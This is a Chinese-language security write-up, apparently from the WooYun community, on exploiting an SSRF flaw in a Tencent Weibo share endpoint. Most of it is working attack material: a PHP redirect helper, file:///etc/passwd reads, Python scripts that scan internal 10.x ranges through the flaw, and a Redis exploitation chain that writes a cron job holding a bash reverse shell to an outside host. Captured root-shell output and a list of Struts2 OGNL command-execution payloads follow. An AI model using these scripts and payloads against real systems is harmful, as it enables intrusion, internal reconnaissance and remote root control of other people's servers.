1. 描述

本文章将概述一些经典的 SSRF 漏洞利用原理,从 Fuzz 扫描开放的服务到漏洞的自动化利用,刚好腾讯的这个漏洞点,非常适合做为案例来演示。

1.1 漏洞信息

腾讯微博应用 http://share.v.t.qq.com SSRF 利用点,参数: url http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://wuyun.org

1.2 服务端回显

当从 ssrf 利用点发起一个远程请求,如果 url 资源存在,且 MIME 类型为 HTML,服务端的脚本会分析出 HTML 页面内的 title、img 等等资源,返回给客户端。如果 MIME 是其它类型,将直接返回原文。

  1. [root@localhost wyssrf]
  2. {"ret":0,"data":{"type":1,"title":"SSH-2.0-OpenSSH_5.3..."}}

例 2 请求远程服务器的 80 端口,回显 HEAD 和图片资源

  1. [root@localhost wyssrf]
  2. {"ret":0,"data":{"type":2,"pics":["http:\/\/www.baidu.com\/img\/baidu_sylogo1.gif"],"title":"\u767e\u5ea6\u4e00\u4e0b\uff0c\u4f60\u5c31\u77e5\u9053"}}

例 3 请求不存在的服务器或未开放的端口

  1. [root@localhost wyssrf]
  2. {"ret":1}

1.3 利用场景

Loction 302 跳转辅助脚本 302.php

  1. <?php
  2. $ip = $_GET['ip'];
  3. $port = $_GET['port'];
  4. $scheme = $_GET['s'];
  5. $data = $_GET['data'];
  6. header("Location: $scheme://$ip:$port/$data");
  7. ?>

1.4 服务端支持协议

Dict 协议 -> dict://fuzz.wuyun.org:8080/helo:dict

/302.php?s=dict&ip=fuzz.wuyun.org&port=8080&data=helo:dict
[root@localhost wyssrf]
Connection from 113.108.10.15 port 8080 [tcp/webcache] accepted
CLIENT libcurl 7.15.1
helo dict
QUIT

Gopher 协议 -> gopher://fuzz.wuyun.org:8080/gopher

/302.php?s=gopher&ip=fuzz.wuyun.org&port=8080&data=gopher
[root@localhost wyssrf]
Connection from 113.108.10.16 port 8080 [tcp/webcache] accepted
GET /gopher HTTP/1.1
Host: 106.75.199.107:8080
Accept: */*

File 协议 -> file:///etc/passwd

这里需要一个辅助脚本

<?php
header("Location: file:///etc/passwd");
?>

服务器请求 302 跳转,直接读取到服务器本地文件

[root@localhost wyssrf]
{"ret":0,"data":{"type":1,"title":"root:x:0:0:root:\/root:\/bin\/bash bin:x:1:..."}}

综上所述得出结论

从回显结果可以判断服务端的 curl 为低版本的 7.15.1,支持 dict,ftp,gopher,dict 等协议

[root@localhost wyssrf]
Protocols: tftp ftp telnet dict gopher ldap ldaps http file https ftps scp sftp

2. 漏洞利用

鉴于 gopher:// 是一个万金油的服务,这里不对该协议进行利用描述,相关技术大家可以自行 Google,本文重点讲解如何探测开放的网络服务和漏洞利用,在乌云峰会结束后,还会进行内容的更新,加入一些其他利用方法。 腾讯某处SSRF漏洞(非常好的利用点)附利用脚本 · 安全手册 - 图1

2.1 对开放的网络服务进行探测

这个漏洞地址是 t.qq.com,腾讯微博的,确定内网地址,只需要开启域名穷举即可,比如: PING demo.t.qq.com (10.133.42.26) ,就大概知道腾讯微博的内网地址 针对固定的 10. 网络 B 段、C 段进行遍历探测




import requests
import time
import random
port = '80'

for c in xrange(0,255):
    for d in xrange(0,255):
        ip = '10.133.{0}.{1}'.format(c,d)
        payload = 'http://{ip}:{port}/'.format(ip=ip,port=port)
        url = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url={payload}'.format(
            payload=payload)

        if len(requests.get(url).content) != 9:
            print ip, port, 'OPEN', requests.get(url).content

随机针对内网 10. 网段进行探测




import requests
import time
import random
port = '80'

while True:
    ip = '10.{0}.{1}.{2}'.format(random.randint(1, 254),random.randint(1, 254),random.randint(1, 254))
    payload = 'http://{ip}:80/'.format(ip=ip)
    url = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url={payload}'.format(
        payload=payload)

    if len(requests.get(url).content) != 9:
        print ip, port, 'OPEN', requests.get(url).content

2.2 对已开放的服务进行漏洞利用

这里描述的利用内容,使用的 dict 协议,dict 提供了一个非常棒的功能

dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利 REDIS Server 的命令接收格式为: command var data \r\n 实战利用代码如下:

```

import requests host = ‘42.62.67.198’ port = ‘6379’ bhost = ‘fuzz.wuyun.org’ bport = ‘8080’ vul_httpurl = ‘http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=‘ _location = ‘http://fuzz.wuyun.org/302.php‘ shell_location = ‘http://fuzz.wuyun.org/shell.php

_payload = ‘?s=dict%26ip={host}%26port={port}%26data=flushall’.format( host = host, port = port) exp_uri = ‘{vul_httpurl}{0}{1}%23helo.jpg’.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content

_payload = ‘?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}’.format( host = host, port = port, bhost = bhost, bport = bport) exp_uri = ‘{vul_httpurl}{0}{1}%23helo.jpg’.format(shell_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content

_payload = ‘?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/‘.format( host = host, port = port) exp_uri = ‘{vul_httpurl}{0}{1}%23helo.jpg’.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content

_payload = ‘?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root’.format( host = host, port = port) exp_uri = ‘{vul_httpurl}{0}{1}%23helo.jpg’.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content

_payload = ‘?s=dict%26ip={host}%26port={port}%26data=save’.format( host = host, port = port) exp_uri = ‘{vul_httpurl}{0}{1}%23helo.jpg’.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content


> shell.php 辅助脚本

>

<?php $ip = $_GET[‘ip’]; $port = $_GET[‘port’]; $bhost = $_GET[‘bhost’]; $bport = $_GET[‘bport’]; $scheme = $_GET[‘s’]; header(“Location: $scheme://$ip:$port/set:0:\”\x0a\x0a/1\x20\x20\x20\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/{$bhost}/{$bport}\x200>\x261\x0a\x0a\x0a\””); ?>


> > <a name="269e55d7"></a>
## 3. 漏洞证明

> 配置利用变量

>

reinhard$ python wyssrf.py Usage: wyssrf config -u -p [—data ] wyssrf config —show wyssrf plugin —list wyssrf exploit —list wyssrf (-i | —interactive) wyssrf (-h | —help | —version) reinhard$ python wyssrf.py config -u ‘http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://wuyun.org‘ -p url [INFO] config file save success…



<a name="1ec7827a"></a>
### 3.1 针对 redis 进行漏洞利用

根据上面的原理做成利用脚本 ![](http://static.wooyun.org/wooyun/upload/201606/02124427586c71daded62895a7bd864cb0eb8ff5.jpg#alt=)

reinhard$ python wyssrf.py -i Welcome to WYSSRF Exploit FrameWork (type help for a list of commands.) console> show config { “url”: “http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://wuyun.org“, “method”: “GET”, “param”: “url” } console> redis -h Usage: redis shell [—type=] redis ssh [—type=] Options: -t, —type= request protocol type [default: dict] console> redis shell 42.62.67.198 6379 fuzz.wuyun.org 8080 —type dict [INFO] Exploit 42.62.67.198 6379 Start… [INFO] [INFO] [INFO] [INFO] [INFO] [INFO] Exploit Successs… console> quit Good Bye!


查询远程 Redis 服务器的信息

reinhard$ redis-cli -h 42.62.67.198 config get dir 1) “dir” 2) “/var/spool/cron” reinhard$ redis-cli -h 42.62.67.198 config get dbfilename 1) “dbfilename” 2) “root”


成功获得 Redis 服务器 Shell

[root@fuzz.wuyun.org] Connection from 42.62.67.198 port 8080 [tcp/webcache] accepted bash: no job control in this shell [root@10-6-17-197 ~] id uid=0(root) gid=0(root) groups=0(root) [root@10-6-17-197 ~] cat /var/spool/cron/root REDIS0006™@B /1 * /bin/bash -i >& /dev/tcp/fuzz.wuyun.org/8080 0>&1 …[root@10-6-17-197 ~]


<a name="cf6fc5aa"></a>
### 3.2 Struts2 命令执行规则表

Struts2 — 032 ping s2032.struts.99fd5e.dnslog.info GET /?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=ping%20s2032.struts.99fd5e.dnslog.info&pp=%5CA&ppp=%20&encoding=UTF-8 Struts2 — 019 ping s2019.struts.99fd5e.dnslog.info /?debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#f.setAccessible(true),#f.set(#_memberAccess,true),#req=@org.apache.struts2.ServletActionContext@getRequest(),#resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ping’,’s2019.struts.99fd5e.dnslog.info’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[10000],#d.read(#e),#resp.println(#e),#resp.close() Struts2 — 016 ping s2016.struts.99fd5e.dnslog.info /index.action?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B’ping’,’s2016.struts.99fd5e.dnslog.info’%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%20%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D Struts2 — 013 ping s2013.struts.99fd5e.dnslog.info /?a=1${(%23_memberAccess[“allowStaticMethodAccess”]=true,%23a=@java.lang.Runtime@getRuntime().exec(‘ping s2013.struts.99fd5e.dnslog.info’).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[50000],%23c.read(%23d),%23sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23sbtest.println(%23d),%23sbtest.close())} Struts2 — 009 ping s2009.struts.99fd5e.dnslog.info /?class.classLoader.jarPath=%28%23context[“xwork.MethodAccessor.denyMethodExecution”]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess[“allowStaticMethodAccess”]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ping s2009.struts.99fd5e.dnslog.info%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23sbtest.println%28%23d%29%2c%23sbtest.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29] Struts2 — 005 ping s2005.struts.99fd5e.dnslog.info /?(‘\43_memberAccess.allowStaticMethodAccess’)(a)=true&(b)((‘\43context[\’xwork.MethodAccessor.denyMethodExecution\’]\75false’)(b))&(‘\43c’)((‘\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET’)(c))&(g)((‘\43mycmd\75\’ping s2005.struts.99fd5e.dnslog.info\’’)(d))&(h)((‘\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)’)(d))&(i)((‘\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())’)(d))&(j)((‘\43myres\75new\40byte[51020]’)(d))&(k)((‘\43mydat.readFully(\43myres)’)(d))&(l)((‘\43mystr\75new\40java.lang.String(\43myres)’)(d))&(m)((‘\43myout\75@org.apache.struts2.ServletActionContext@getResponse()’)(d))&(n)((‘\43myout.getWriter().println(\43mystr)’)(d))


<a name="0b2c1465"></a>
### 3.5 其它乌云峰会后待续

redis.py jboss.py shellshock.py axis2.py jdwp.py smtp.py confluence.py jenkins.py struts.py couchdb.py mongodb.py tftp.py docker.py phpcgi.py tomcat.py elasticsearch.py pop.py webdav.py ftp.py portscan.py websphere.py gopher.py pstack.py zentaopms.py hfs.py ```

https://thorns.gitbooks.io/sec/content/teng_xun_mou_chu_ssrf_lou_6d1e28_fei_chang_hao_de.html